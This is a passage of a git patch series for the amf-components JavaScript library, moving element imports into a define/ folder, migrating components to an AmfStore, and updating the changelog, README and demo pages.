 /** @typedef {import('../../').XhrSimpleRequestTransportElement} XhrSimpleRequestTransportElement */
 
diff --git a/test/http-request/xhr-simple-request.test.js b/test/http-request/xhr-simple-request.test.js
index 2c1f6a4..d56fcb0 100644
--- a/test/http-request/xhr-simple-request.test.js
+++ b/test/http-request/xhr-simple-request.test.js
@@ -1,7 +1,7 @@
 /* eslint-disable no-param-reassign */
 import { fixture, assert, nextFrame, html } from '@open-wc/testing';
 import { MockServer } from './server.js';
-import '../../xhr-simple-request.js';
+import '../../define/xhr-simple-request.js';
 import { EventTypes } from '../../src/events/EventTypes.js';
 
 /** @typedef {import('../../').XhrSimpleRequestElement} XhrSimpleRequestElement */
diff --git a/test/navigation/ApiNavigationElement.test.js b/test/navigation/ApiNavigationElement.test.js
index 9d6defe..0a06542 100644
--- a/test/navigation/ApiNavigationElement.test.js
+++ b/test/navigation/ApiNavigationElement.test.js
@@ -1,7 +1,7 @@
 import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-navigation.js';
+import '../../define/api-navigation.js';
 import { 
   computePathName, 
   computeRenderPath, 
diff --git a/test/navigation/amf-model.test.js b/test/navigation/amf-model.test.js
index 22ec7bb..76758ec 100644
--- a/test/navigation/amf-model.test.js
+++ b/test/navigation/amf-model.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, nextFrame, aTimeout, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-navigation.js';
+import '../../define/api-navigation.js';
 import { 
   collectData, 
   docsValue,
diff --git a/test/navigation/documentation-fragment.test.js b/test/navigation/documentation-fragment.test.js
index 797628b..9911ca5 100644
--- a/test/navigation/documentation-fragment.test.js
+++ b/test/navigation/documentation-fragment.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, nextFrame, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-navigation.js';
+import '../../define/api-navigation.js';
 import {
   docsValue,
   typesValue,
diff --git a/test/navigation/oas-external-docs.test.js b/test/navigation/oas-external-docs.test.js
index 9e15504..98579ef 100644
--- a/test/navigation/oas-external-docs.test.js
+++ b/test/navigation/oas-external-docs.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-navigation.js';
+import '../../define/api-navigation.js';
 import {
   docsValue,
 } from '../../src/elements/ApiNavigationElement.js';
diff --git a/test/navigation/oas-security.test.js b/test/navigation/oas-security.test.js
index 1aff2ca..772e06d 100644
--- a/test/navigation/oas-security.test.js
+++ b/test/navigation/oas-security.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-navigation.js';
+import '../../define/api-navigation.js';
 import {
   securityValue,
 } from '../../src/elements/ApiNavigationElement.js';
diff --git a/test/navigation/security-fragment.test.js b/test/navigation/security-fragment.test.js
index 4e57dcd..359eb49 100644
--- a/test/navigation/security-fragment.test.js
+++ b/test/navigation/security-fragment.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, nextFrame, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-navigation.js';
+import '../../define/api-navigation.js';
 import {
   docsValue,
   typesValue,
diff --git a/test/navigation/type-fragment.test.js b/test/navigation/type-fragment.test.js
index 2e87e47..33054c1 100644
--- a/test/navigation/type-fragment.test.js
+++ b/test/navigation/type-fragment.test.js
@@ -1,6 +1,6 @@
 import { fixture, assert, nextFrame, html } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../api-navigation.js';
+import '../../define/api-navigation.js';
 import {
   docsValue,
   typesValue,
diff --git a/xhr-simple-request-transport.js b/xhr-simple-request-transport.js
deleted file mode 100644
index 2aa7644..0000000
--- a/xhr-simple-request-transport.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/XhrSimpleRequestTransportElement.js';
-
-window.customElements.define('xhr-simple-request-transport', Element);
diff --git a/xhr-simple-request.js b/xhr-simple-request.js
deleted file mode 100644
index 6506bd0..0000000
--- a/xhr-simple-request.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import Element from './src/elements/XhrSimpleRequestElement.js';
-
-window.customElements.define('xhr-simple-request', Element);

From de806ecd31b6be8dc177527e1a6816a93bf566cf Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Fri, 22 Oct 2021 17:37:59 -0700
Subject: [PATCH 29/36] chore: finalizing migration to the AmfStore

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 .vscode/settings.json                         |  15 +
 CHANGELOG.md                                  |  69 ++-
 README.md                                     |  25 +-
 demo/api-annotation.js                        |  26 +-
 demo/api-channel.js                           |   3 +-
 demo/api-console.js                           |  10 +-
 demo/api-documentation-document.js            |   3 +-
 demo/api-documentation.js                     |  19 +-
 demo/api-editor.js                            |   5 +-
 demo/api-operation.js                         |   6 +-
 demo/api-payload.js                           |   2 +-
 demo/api-request.js                           |   2 -
 demo/api-resource.js                          |   6 +-
 demo/api-schema-documentation.js              |   5 +-
 demo/api-security-documentation.js            |   3 +-
 demo/api-summary.js                           |   3 +-
 demo/lib/AmfDemoBase.js                       |  17 +-
 demo/request-editor.js                        |  20 +-
 demo/server-selector.js                       |  18 +-
 docs/docs/architecture.md                     |  56 ++
 index.d.ts                                    |   8 +-
 index.js                                      |   6 +-
 package-lock.json                             |  12 +-
 package.json                                  |   4 +-
 .../ApiAnnotationDocumentElement.d.ts         |   8 +-
 src/elements/ApiAnnotationDocumentElement.js  |  33 +-
 .../ApiAuthorizationEditorElement.d.ts        |   6 -
 src/elements/ApiAuthorizationEditorElement.js |  31 +-
 .../ApiAuthorizationMethodElement.d.ts        |   5 -
 src/elements/ApiAuthorizationMethodElement.js |   7 -
 src/elements/ApiChannelDocumentElement.js     |  13 +-
 src/elements/ApiDocumentationBase.d.ts        |  14 +-
 src/elements/ApiDocumentationBase.js          |  43 +-
 .../ApiDocumentationDocumentElement.d.ts      |  11 +-
 .../ApiDocumentationDocumentElement.js        |  59 ++-
 src/elements/ApiDocumentationElement.d.ts     | 110 +---
 src/elements/ApiDocumentationElement.js       | 405 ++++-----------
 src/elements/ApiOperationDocumentElement.d.ts |  44 +-
 src/elements/ApiOperationDocumentElement.js   | 179 ++++---
 src/elements/ApiPayloadDocumentElement.d.ts   |   2 -
 src/elements/ApiPayloadDocumentElement.js     |  36 +-
 src/elements/ApiRequestDocumentElement.d.ts   |   2 -
 src/elements/ApiRequestDocumentElement.js     |  38 +-
 src/elements/ApiRequestEditorElement.d.ts     | 107 ++--
 src/elements/ApiRequestEditorElement.js       | 354 ++++++++-----
 src/elements/ApiRequestElement.d.ts           |   6 -
 src/elements/ApiRequestElement.js             |  11 +-
 src/elements/ApiResourceDocumentElement.d.ts  |   4 +-
 src/elements/ApiResourceDocumentElement.js    | 106 ++--
 src/elements/ApiResponseDocumentElement.d.ts  |   1 -
 src/elements/ApiResponseDocumentElement.js    |  36 +-
 src/elements/ApiSchemaDocumentElement.d.ts    |   1 -
 src/elements/ApiSchemaDocumentElement.js      |  43 +-
 src/elements/ApiSecurityDocumentElement.d.ts  |  16 +-
 src/elements/ApiSecurityDocumentElement.js    |  86 +---
 ...ApiSecurityRequirementDocumentElement.d.ts |   4 -
 .../ApiSecurityRequirementDocumentElement.js  |  64 +--
 src/elements/ApiServerSelectorElement.d.ts    |  47 +-
 src/elements/ApiServerSelectorElement.js      | 314 +++++++-----
 src/events/ApiEvents.d.ts                     |  16 +
 src/events/ApiEvents.js                       |  34 ++
 src/events/BaseEvents.d.ts                    |   7 +-
 src/events/BaseEvents.js                      |   5 +-
 src/events/DocumentationEvents.d.ts           |  12 +
 src/events/DocumentationEvents.js             |  29 ++
 src/events/EndpointEvents.js                  |   1 -
 src/events/EventTypes.d.ts                    |  35 ++
 src/events/EventTypes.js                      |  25 +
 src/events/Events.d.ts                        |  23 +-
 src/events/Events.js                          |  24 +-
 src/events/OperationEvents.d.ts               |  20 +
 src/events/OperationEvents.js                 |  33 ++
 src/events/PayloadEvents.d.ts                 |  12 +
 src/events/PayloadEvents.js                   |  20 +
 src/events/RequestEvents.d.ts                 |   7 +
 src/events/RequestEvents.js                   |  13 +
 src/events/ResponseEvents.d.ts                |  12 +
 src/events/ResponseEvents.js                  |  21 +
 src/events/SecurityEvents.d.ts                |  34 ++
 src/events/SecurityEvents.js                  |  64 +++
 src/events/TypeEvents.d.ts                    |  18 +
 src/events/TypeEvents.js                      |  32 ++
 src/helpers/AmfHelperMixin.d.ts               |  19 +-
 src/helpers/AmfHelperMixin.js                 |  61 ++-
 src/lib/ApiAuthDataHelper.js                  |   5 -
 src/lib/auth-ui/ApiKeyAuth.js                 |   4 +-
 src/lib/auth-ui/ApiUiBase.js                  |  28 +-
 src/lib/auth-ui/CustomAuth.js                 |   6 +-
 src/lib/auth-ui/OAuth1Auth.js                 |  24 +-
 src/lib/auth-ui/OAuth2Auth.js                 |  25 +-
 src/lib/auth-ui/PassThroughAuth.js            |   4 +-
 src/store/AmfGraphStore.js                    |   2 +-
 src/store/AmfStore.d.ts                       | 173 +++++++
 src/store/AmfStore.js                         | 483 +++++++++++++++++-
 src/store/DomEventsAmfStore.d.ts              |   6 +
 src/store/mixins/AmfStoreDomEventsMixin.js    |  26 +-
 src/types.d.ts                                |  40 ++
 test/AmfLoader.js                             |  42 ++
 .../ApiAnnotationDocumentElement.test.js      |  52 +-
 .../ApiDocumentationDocumentElement.test.js   |  55 +-
 test/elements/ApiDocumentationElement.test.js | 255 +++++----
 .../ApiOperationDocumentElement.test.js       | 281 +++++-----
 .../ApiRequestDocumentElement.test.js         |  56 +-
 .../ApiResourceDocumentElement.test.js        | 105 ++--
 .../ApiResponseDocumentElement.test.js        | 104 ++--
 .../elements/ApiSchemaDocumentElement.test.js | 196 +++----
 .../ApiSecurityDocumentElement.test.js        | 231 +++++----
 ...SecurityRequirementDocumentElement.test.js |  43 +-
 .../elements/ApiServerSelectorElement.test.js | 292 ++++++-----
 test/elements/ApiSummaryElement.test.js       |   6 +-
 test/elements/SE-12957.test.js                |  18 +-
 test/events/ApiEvents.test.js                 |  10 +-
 test/events/EndpointEvents.test.js            |  34 +-
 test/events/EventTypes.test.js                |  76 +--
 test/events/NavigationEvents.test.js          |  22 +-
 test/events/ReportingEvents.test.js           |  18 +-
 test/events/StoreEvents.test.js               |   6 +-
 test/events/TelemetryEvents.test.js           |  62 +--
 test/http-request/APIC-289.test.js            |  31 +-
 test/http-request/APIC-298.test.js            |  28 +-
 test/http-request/APIC-689.test.js            |  32 +-
 .../ApiRequestEditorElement.test.js           | 428 ++++++++--------
 test/http-request/ApiRequestElement.test.js   | 113 ++--
 test/http-request/SE-12042.test.js            |  24 +-
 test/http-request/SE-12957.test.js            |  36 +-
 web-test-runner.config.mjs                    |   2 +-
 126 files changed, 4006 insertions(+), 2644 deletions(-)
 create mode 100644 docs/docs/architecture.md
 create mode 100644 src/events/DocumentationEvents.d.ts
 create mode 100644 src/events/DocumentationEvents.js
 create mode 100644 src/events/OperationEvents.d.ts
 create mode 100644 src/events/OperationEvents.js
 create mode 100644 src/events/PayloadEvents.d.ts
 create mode 100644 src/events/PayloadEvents.js
 create mode 100644 src/events/ResponseEvents.d.ts
 create mode 100644 src/events/ResponseEvents.js
 create mode 100644 src/events/SecurityEvents.d.ts
 create mode 100644 src/events/SecurityEvents.js
 create mode 100644 src/events/TypeEvents.d.ts
 create mode 100644 src/events/TypeEvents.js
 create mode 100644 src/store/AmfStore.d.ts
 create mode 100644 src/store/DomEventsAmfStore.d.ts

diff --git a/.vscode/settings.json b/.vscode/settings.json
index 3884893..8bd78fb 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -1,9 +1,24 @@
 {
   "cSpell.words": [
+    "amfstoreapiprotocols",
     "amfstoreapisummary",
+    "amfstoreapiversion",
+    "amfstoredocumentationget",
+    "amfstoredocumentationlist",
+    "amfstoredocumentmeta",
     "amfstoreendpointbypath",
     "amfstoreendpointget",
     "amfstoreendpointlist",
+    "amfstoreopget",
+    "amfstoreopgetparent",
+    "amfstorepayloadget",
+    "amfstorerequestget",
+    "amfstoreresponseget",
+    "amfstoresecurityget",
+    "amfstoresecuritygetrequirement",
+    "amfstoresecuritygetsettings",
+    "amfstoresecuritylist",
+    "amfstoretypeget",
     "apierror",
     "apinavigate",
     "apirequest",
diff --git a/CHANGELOG.md b/CHANGELOG.md
index c9dda5b..2d37518 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,6 +1,21 @@
 # Changelog
 
-## General changes
+## Old components vs this repository
+
+### User (consumer) changelog
+
+The UI in most cases is consistent with the previous version, except for the following items:
+
+- Removed an option to disable a single parameter. The rationale is that these parameters are defined in the API and the request editor and the outgoing HTTP request should reflect what the API author designed.
+- Changes titles of operations and resource: added sub title describing the section.
+- The URI and query parameters are now combined into a single section: Parameters.
+- The information architecture for parameters changed for better readability and accessibility.
+- Schema documentation was redesigned to better visualize complex objects.
+- Authorization now support OpenID Connect which can be defined in an OAS file.
+
+### Developer changelog
+
+#### General changes
 
 The `compatibility` has been renamed to `anypoint`.
 
@@ -8,11 +23,11 @@ The `selected` property has been renamed to `domainId` which is the id of the gr
 
 The `selectedType` has been renamed to `domainType`. This is a value generated by the navigation element to help to reduce the scope of searching for an object in the graph model.
 
-The components now ignore (in most cases) the rendered AMF graph model and instead uses the serialized graph objects to a simpler JavaScript objects. This serialization happens in the `ApiSerializer` class.
+The components do not read the generated graph model anymore (generated through the AMF library LD+JSON model). See **docs/architecture.md** for detailed description.
 
-## Documentation components
+#### Documentation components
 
-### Api navigation
+##### Api navigation
 
 The API navigate event definition changed. With this version the detail object has the following properties.
 
@@ -29,16 +44,16 @@ import { Events } from '@api-components/amf-components';
 Events.Navigation.apiNavigate(document.body, 'amf://id', 'resource');
 ```
 
-### ApiDocumentationElement (former api-documentation)
+##### ApiDocumentationElement (former api-documentation)
 
-#### Refactored properties
+###### Refactored properties
 
 - `selected` -> `domainId`
 - `selectedType` -> `domainType`
 - `inlineMethods` -> `tryItPanel`
 - `compatibility` -> `anypoint`
 
-#### Removed properties
+###### Removed properties
 
 - `noTryIt` - this has been replaced with `tryItButton`
 - `noUrlEditor` - this has been replaced with `httpUrlEditor`
@@ -48,16 +63,16 @@ Events.Navigation.apiNavigate(document.body, 'amf://id', 'resource');
 - `outlined` - we are dropping support for this property
 - `noBottomNavigation` - not used anymore
 
-#### New properties
+###### New properties
 
 - `tryItButton` - the opposite of the previous `noTryIt`
 - `httpUrlEditor` - passed to the request editor as `urlEditor`
 - `httpApplyAuthorization` - passed to the request editor as `applyAuthorization`
 - `httpCredentialsSource` - passed to the request editor as `credentialsSource`
 
-### ApiResourceDocumentElement (former api-endpoint-documentation)
+##### ApiResourceDocumentElement (former api-endpoint-documentation)
 
-#### Refactored properties
+###### Refactored properties
 
 - `selected` -> `domainId`
 - `selectedType` - `domainType`
@@ -66,7 +81,7 @@ Events.Navigation.apiNavigate(document.body, 'amf://id', 'resource');
 - `inlineMethods` is renamed to `tryItPanel`. Has the same function.
 - `noUrlEditor` is now renamed to `urlEditor`. When `urlEditor` is set then the HTTP request editor renders the URL editor input field.
 
-#### Removed properties
+###### Removed properties
 
 - `apiVersion` - no longer in use
 - `endpointUri` - no longer in use
@@ -89,7 +104,7 @@ Events.Navigation.apiNavigate(document.body, 'amf://id', 'resource');
 - `graph` - no longer in use
 - `noNavigation` - no longer in use
 
-#### New properties
+###### New properties
 
 - `serverId` the domain id of the selected API server.
 - `operationId` - the domain id of the selected API operation, when `tryItPanel` is set.
@@ -101,9 +116,9 @@ Events.Navigation.apiNavigate(document.body, 'amf://id', 'resource');
 - `httpNoServerSelector` - passed to the request editor as `noServerSelector`
 - `asyncApi` - indicates the rendered API is an async API.
 
-### ApiOperationDocumentElement (former api-operation-documentation)
+##### ApiOperationDocumentElement (former api-operation-documentation)
 
-#### Refactored properties
+###### Refactored properties
 
 - `tryIt` is renamed to `tryItButton`
 - `tryItButton` is always set to `false` when `tryItPanel` is set on the resource document element.
@@ -111,7 +126,7 @@ Events.Navigation.apiNavigate(document.body, 'amf://id', 'resource');
 - `endpoint` now accepts serialized API endpoint model.
 - `compatibility` -> anypoint
 
-#### Removed properties
+###### Removed properties
 
 - `methodName` - no longer in use
 - `httpMethod` - no longer in use
@@ -141,18 +156,18 @@ Events.Navigation.apiNavigate(document.body, 'amf://id', 'resource');
 - `ignoreBaseUri` - no longer in use
 - `protocol` - no longer in use
 
-#### New properties
+###### New properties
 
 - `serverId` the domain id of the selected API server.
 - `tryItButton` - the opposite of the previous `noTryIt`
 - `asyncApi` - indicates the rendered API is an async API.
 - `requestMimeType` - The mime type of rendered request.
 
-## Request editor components
+#### Request editor components
 
-### Authorization
+##### Authorization
 
-#### Configuration and HTTP request
+###### Configuration and HTTP request
 
 The authorization has been moved into this library and has a new API surface.
 
@@ -169,33 +184,33 @@ To maximize the compatibility with 0.2.0 use the following configuration:
 ></api-request-editor>
 ```
 
-### Caching values
+##### Caching values
 
 The editor has a new boolean property `globalCache`. Once set it instruct the caching mechanism to cache user input in memory. The cached values are kept in memory even when API spec change.
 Use the `src/lib/InputCache.js` class to manipulate the cache programmatically when needed.
 
 When the `globalCache` is not set then the values are stored in a reference to the editor element. After removing the element from the DOM all cached properties are GC'd.
 
-### Request editor
+##### Request editor
 
-#### Refactor
+###### Refactor
 
 - `serializeRequest()` -> `serialize()`
 - removed option `allowDisableParams`
 
-#### Setting URL values (baseUri, protocols, server)
+###### Setting URL values (baseUri, protocols, server)
 
 With version `0.2.x` it was possible to set `server`, `baseUri`, and `protocols` properties so the component is able to compute the endpoint URL without having the `server` value read from the AMF graph model. This turned out to be a feature that is not used so it is removed in `0.3.0`. Use `baseUri` to override any value defined in the servers.
 Note, when `baseUri` is set it takes precedence over any other URI configuration (like a selected server).
 
-### URL editor
+##### URL editor
 
 The URL editor is optional by default. The input won't be rendered until the `urlEditor` property is set.
 For a better user experience do not set this option unless crucial for the application. To give user a feedback when updating parameters use option `urlLabel`.
 
 Additionally, the user entered values are now updated on input value change rather than user input. This reduces UI changes (especially with URL editor enabled) while typing value into the editor.
 
-### Body editor
+##### Body editor
 
 The body editor has been re-created from scratch. The new editor uses monaco editor to render the body input.
 This requires loading monaco environment before the editor is rendered and activated.
@@ -214,7 +229,7 @@ await MonacoLoader.monacoReady(); // waits until all libraries are loaded.
 
 Note, Monaco does not support encapsulation. Once loaded a global `Monaco` variable is created.
 
-## Events
+#### Events
 
 With this version the following events are deprecated:
 
@@ -244,6 +259,6 @@ window.addEventListener(EventTypes.Request.apiRequest, (e) => {
 RequestEvents.apiRequest(window, { /* the request definition */ });
 ```
 
-## Tests
+#### Tests
 
 The tests for Firefox currently fails because `playwright` uses a previous version of the browser which has no support for ES modules in web workers. However, the current version support them. Firefox is temporarily removed from tests.
diff --git a/README.md b/README.md
index ebadf56..6c6a3d6 100644
--- a/README.md
+++ b/README.md
@@ -22,10 +22,10 @@ npm install --save @api-components/amf-components
 <html>
   <head>
     <script type="module">
-      import '@api-components/amf-components/api-documentation.js';
-      import '@api-components/amf-components/api-request.js';
-      import '@api-components/amf-components/api-navigation.js';
-      import '@api-components/amf-components/xhr-simple-request.js';
+      import '@api-components/amf-components/define/api-documentation.js';
+      import '@api-components/amf-components/define/api-request.js';
+      import '@api-components/amf-components/define/api-navigation.js';
+      import '@api-components/amf-components/define/xhr-simple-request.js';
       import '@advanced-rest-client/app/define/oidc-authorization.js';
       import '@advanced-rest-client/app/define/oauth2-authorization.js';
     </script>
@@ -49,19 +49,24 @@ npm install --save @api-components/amf-components
       <api-request handleNavigationEvents></api-request>
     </aside>
 
-    <script>
+    <script type="module">
+      import { DomEventsAmfStore } from '@api-components/amf-components';
       (async () => {
-        const model = getAmfModelSomehow();
-        const nodes = document.querySelectorAll('api-navigation,api-documentation,api-request');
-        Array.from(nodes).forEach((element) => {
-          element.amf = model;
-        });
+        const apiStore = new DomEventsAmfStore();
+        apiStore.amf = await getAmfModelSomehow();
       })();
     </script>
   </body>
 </html>
 ```
 
+### API store
+
+The components, unlike previously, do not rely on the graph model generated by the AMF parser. Instead they use a custom JavaScript objects generated by the [src/helpers/AmfSerializer.js](AmfSerializer) class.
+These models are provided to the components by the [src/store/AmfStore.js](AmfStore) or the [src/store/DomEventsAmfStore.js](DomEventsAmfStore). This was developers implementing the components have the most flexibility of providing the console with the graph model that source may be in a different location (like HTTP queries).
+
+See [docs/architecture.md](docs/architecture.md) for more details.
+
 ### Monaco editor
 
 The request editor uses the Monaco editor (by Microsoft) to render the body editor.
diff --git a/demo/api-annotation.js b/demo/api-annotation.js
index 72702f7..eb38e58 100644
--- a/demo/api-annotation.js
+++ b/demo/api-annotation.js
@@ -1,6 +1,7 @@
 import { html } from 'lit-html';
 import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js';
 import { AmfDemoBase } from './lib/AmfDemoBase.js';
+import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
 import '../define/api-annotation-document.js';
 
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
@@ -12,10 +13,17 @@ class ComponentPage extends AmfDemoBase {
       'shape',
     ]);
     this.shape = undefined;
+    this.serializer = new AmfSerializer();
     this.componentName = 'api-annotation-document';
     this.redirectUri = `${window.location.origin}/node_modules/@advanced-rest-client/oauth-authorization/oauth-popup.html`;
   }
 
+  /** @param {string} file */
+  async _loadFile(file) {
+    await super._loadFile(file);
+    this.serializer.amf = this.amf;
+  }
+
   /**
    * @param {ApiNavigationEvent} e
    */
@@ -30,7 +38,6 @@ class ComponentPage extends AmfDemoBase {
     } else {
       this.shape = undefined;
     }
-    console.log(this.shape);
   }
 
   /**
@@ -38,12 +45,12 @@ class ComponentPage extends AmfDemoBase {
    */
   setTypeData(id) {
     const declares = this._computeDeclares(this.amf);
-    const type = declares.find((item) => item['@id'] === id);
-    if (!type) {
+    const shape = declares.find((item) => item['@id'] === id);
+    if (!shape) {
       console.error('Type not found');
       return;
     }
-    this.shape = type;
+    this.shape = this.serializer.customDomainProperties(shape);
   }
 
   /**
@@ -51,7 +58,8 @@ class ComponentPage extends AmfDemoBase {
    */
   setEndpointData(id) {
     const webApi = this._computeWebApi(this.amf);
-    this.shape = this._computeEndpointModel(webApi, id);
+    const shape = this._computeEndpointModel(webApi, id);
+    this.shape = this.serializer.customDomainProperties(shape);
   }
 
   /**
@@ -59,7 +67,8 @@ class ComponentPage extends AmfDemoBase {
    */
   setMethodData(id) {
     const webApi = this._computeWebApi(this.amf);
-    this.shape = this._computeMethodModel(webApi, id);
+    const shape = this._computeMethodModel(webApi, id);
+    this.shape = this.serializer.customDomainProperties(shape);
   }
 
   contentTemplate() {
@@ -92,7 +101,7 @@ class ComponentPage extends AmfDemoBase {
   }
 
   componentTemplate() {
-    const { demoStates, darkThemeActive, shape, amf } = this;
+    const { demoStates, darkThemeActive, shape } = this;
     if (!shape) {
       return html`<p>Select API object in the navigation</p>`;
     }
@@ -103,8 +112,7 @@ class ComponentPage extends AmfDemoBase {
       ?dark="${darkThemeActive}"
     >
       <api-annotation-document
-        .amf="${amf}"
-        .shape="${shape}"
+        .customProperties="${shape}"
         slot="content"
       >
       </api-annotation-document>
diff --git a/demo/api-channel.js b/demo/api-channel.js
index fe7455e..e1e3339 100644
--- a/demo/api-channel.js
+++ b/demo/api-channel.js
@@ -78,7 +78,7 @@ class ComponentPage extends AmfDemoBase {
   }
 
   componentTemplate() {
-    const { demoStates, darkThemeActive, selectedId, selectedOperation, amf } = this;
+    const { demoStates, darkThemeActive, selectedId, selectedOperation } = this;
     if (!selectedId) {
       return html`<p>Select API operation in the navigation</p>`;
     }
@@ -89,7 +89,6 @@ class ComponentPage extends AmfDemoBase {
       ?dark="${darkThemeActive}"
     >
       <api-channel-document
-        .amf="${amf}"
         .domainId="${selectedId}"
         .operationId="${selectedOperation}"
         slot="content"
diff --git a/demo/api-console.js b/demo/api-console.js
index 0dd2696..aff28c3 100644
--- a/demo/api-console.js
+++ b/demo/api-console.js
@@ -83,7 +83,7 @@ export class ApiConsole extends ApplicationPage {
       'domainId', 'domainType', 'operationId',
       'apiId', 'initializing'
     );
-    this.store = new DomEventsAmfStore(undefined, window);
+    this.store = new DomEventsAmfStore(window);
     this.store.listen();
     /**
      * When set the application is initializing its environment.
@@ -291,12 +291,15 @@ export class ApiConsole extends ApplicationPage {
    * @param {AmfDocument} model 
    */
   postApiLoad(model) {
+    this[apiTitleValue] = undefined;
     if (!model) {
-      this[apiTitleValue] = undefined;
       return;
     }
     const factory = new AmfSerializer(model);
     const api = factory._computeApi(model);
+    if (!api) {
+      return;
+    }
     const summary = factory.apiSummary(api);
     this[apiTitleValue] = summary.name;
   }
@@ -443,8 +446,8 @@ export class ApiConsole extends ApplicationPage {
     return html`
     <nav class="${classMap(classes)}">
       <api-navigation
-        summary
         .amf="${model}"
+        summary
         endpointsOpened
         noOverview
       ></api-navigation>
@@ -470,7 +473,6 @@ export class ApiConsole extends ApplicationPage {
     return html`
     <api-documentation
       slot="content"
-      .amf="${this.model}"
       .domainId="${this.domainId}"
       .operationId="${this.operationId}"
       .domainType="${this.domainType}"
diff --git a/demo/api-documentation-document.js b/demo/api-documentation-document.js
index ad60e2b..51c46bb 100644
--- a/demo/api-documentation-document.js
+++ b/demo/api-documentation-document.js
@@ -67,7 +67,7 @@ class ComponentPage extends AmfDemoBase {
   }
 
   _componentTemplate() {
-    const { demoStates, darkThemeActive, selectedId, amf } = this;
+    const { demoStates, darkThemeActive, selectedId } = this;
     if (!selectedId) {
       return html`<p>Select API documentation in the navigation</p>`;
     }
@@ -78,7 +78,6 @@ class ComponentPage extends AmfDemoBase {
       ?dark="${darkThemeActive}"
     >
       <api-documentation-document
-        .amf="${amf}"
         .domainId="${selectedId}"
         slot="content"
       ></api-documentation-document>
diff --git a/demo/api-documentation.js b/demo/api-documentation.js
index a663d75..467365c 100644
--- a/demo/api-documentation.js
+++ b/demo/api-documentation.js
@@ -11,6 +11,7 @@ import '../define/api-server-selector.js';
 import '../define/api-documentation.js';
 
 /** @typedef {import('../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
+/** @typedef {import('../src/types').SelectionType} SelectionType */
 
 class ComponentDemo extends AmfDemoBase {
   constructor() {
@@ -28,6 +29,7 @@ class ComponentDemo extends AmfDemoBase {
     this.editorOpened = false;
     this.editorOperation = undefined;
     this.domainId = undefined;
+    /** @type SelectionType */
     this.domainType = undefined;
     this.operationId = undefined;
     this.tryItButton = true;
@@ -41,6 +43,13 @@ class ComponentDemo extends AmfDemoBase {
     this.demoStates = ['Material', 'Anypoint'];
   }
 
+  /** @param {Event} e */
+  _apiChanged(e) {
+    this.domainId = 'summary';
+    this.domainType = 'summary';
+    super._apiChanged(e);
+  }
+
   /**
    * @param {ApiNavigationEvent} e
    */
@@ -57,6 +66,12 @@ class ComponentDemo extends AmfDemoBase {
       this.operationId = undefined;
       this.domainId = domainId;
     }
+
+    // 
+    // Here your application can be smart and determine
+    // the domainId and type for fragments and partial models
+    // so when the API is loaded it shows a specific value.
+    // 
   }
 
   /**
@@ -105,7 +120,7 @@ class ComponentDemo extends AmfDemoBase {
   }
 
   componentTemplate() {
-    const { demoStates, darkThemeActive, amf, } = this;
+    const { demoStates, darkThemeActive, } = this;
     let finalBaseUri;
     if (this.overrideBaseUri) {
       finalBaseUri = 'https://custom.api.com';
@@ -118,7 +133,6 @@ class ComponentDemo extends AmfDemoBase {
     >
       <api-documentation
         slot="content"
-        .amf="${amf}"
         .domainId="${this.domainId}"
         .operationId="${this.operationId}"
         .domainType="${this.domainType}"
@@ -241,7 +255,6 @@ class ComponentDemo extends AmfDemoBase {
       <h2>API request</h2>
       <anypoint-dialog-scrollable>
         <api-request
-          .amf="${this.amf}"
           .domainId="${this.editorOperation}"
           ?anypoint="${this.anypoint}"
           urlLabel
diff --git a/demo/api-editor.js b/demo/api-editor.js
index 3af64e4..d6c5d18 100644
--- a/demo/api-editor.js
+++ b/demo/api-editor.js
@@ -10,7 +10,6 @@ import { MonacoTheme, MonacoStyles, MonacoLoader } from '@advanced-rest-client/m
 import { DomEventsAmfStore } from "../src/store/DomEventsAmfStore.js";
 import { ApplicationPage } from "./lib/ApplicationPage.js";
 import { EventTypes } from '../src/events/EventTypes.js';
-// import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
 import "../define/api-navigation.js";
 import '../define/api-documentation.js';
 import '../define/xhr-simple-request.js';
@@ -48,7 +47,7 @@ export class ApiTextEditor extends ApplicationPage {
       'initializing', 'apiFormat', 'apiMedia',
       'editorOpened', 'editorOperation',
     );
-    this.store = new DomEventsAmfStore(undefined, window);
+    this.store = new DomEventsAmfStore(window);
     this.store.listen();
     /**
      * When set the application is initializing its environment.
@@ -759,7 +758,6 @@ export class ApiTextEditor extends ApplicationPage {
     </div>
     <api-documentation
       slot="content"
-      .amf="${this.model}"
       .domainId="${this.domainId}"
       .operationId="${this.operationId}"
       .domainType="${this.domainType}"
@@ -789,7 +787,6 @@ export class ApiTextEditor extends ApplicationPage {
       <h2>API request</h2>
       <anypoint-dialog-scrollable>
         <api-request
-          .amf="${this.model}"
           .domainId="${this.editorOperation}"
           urlLabel
           applyAuthorization
diff --git a/demo/api-operation.js b/demo/api-operation.js
index d62a402..0e9bf75 100644
--- a/demo/api-operation.js
+++ b/demo/api-operation.js
@@ -139,7 +139,7 @@ class ComponentPage extends AmfDemoBase {
 
